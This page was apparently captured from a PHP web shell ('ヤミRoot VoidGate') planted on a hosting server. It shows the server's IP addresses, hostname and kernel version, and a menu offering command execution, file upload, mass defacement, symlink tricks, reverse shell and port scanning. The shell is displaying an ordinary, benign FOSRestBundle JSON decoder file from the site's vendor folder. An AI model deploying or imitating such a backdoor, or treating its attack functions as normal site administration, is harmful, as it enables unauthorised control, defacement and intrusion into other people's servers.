ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Decoder
/
Viewing: JsonToFormDecoder.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Decoder; /** * Decodes JSON data and make it compliant with application/x-www-form-encoded style. * * @author Kévin Dunglas <dunglas@gmail.com> */ final class JsonToFormDecoder implements DecoderInterface { /** * Makes data decoded from JSON application/x-www-form-encoded compliant. */ private function xWwwFormEncodedLike(array &$data): void { foreach ($data as $key => &$value) { if (is_array($value)) { // Encode recursively $this->xWwwFormEncodedLike($value); } elseif (false === $value) { // Checkbox-like behavior removes false data but PATCH HTTP method with just checkboxes does not work // To fix this issue we prefer transform false data to null // See https://github.com/FriendsOfSymfony/FOSRestBundle/pull/883 $value = null; } elseif (!is_string($value)) { // Convert everything to string // true values will be converted to '1', this is the default checkbox behavior $value = strval($value); } } } /** * {@inheritdoc} */ public function decode(string $data) { $decodedData = @json_decode($data, true); if (is_array($decodedData)) { $this->xWwwFormEncodedLike($decodedData); } return $decodedData; } }
Coded With 💗 by
0x6ick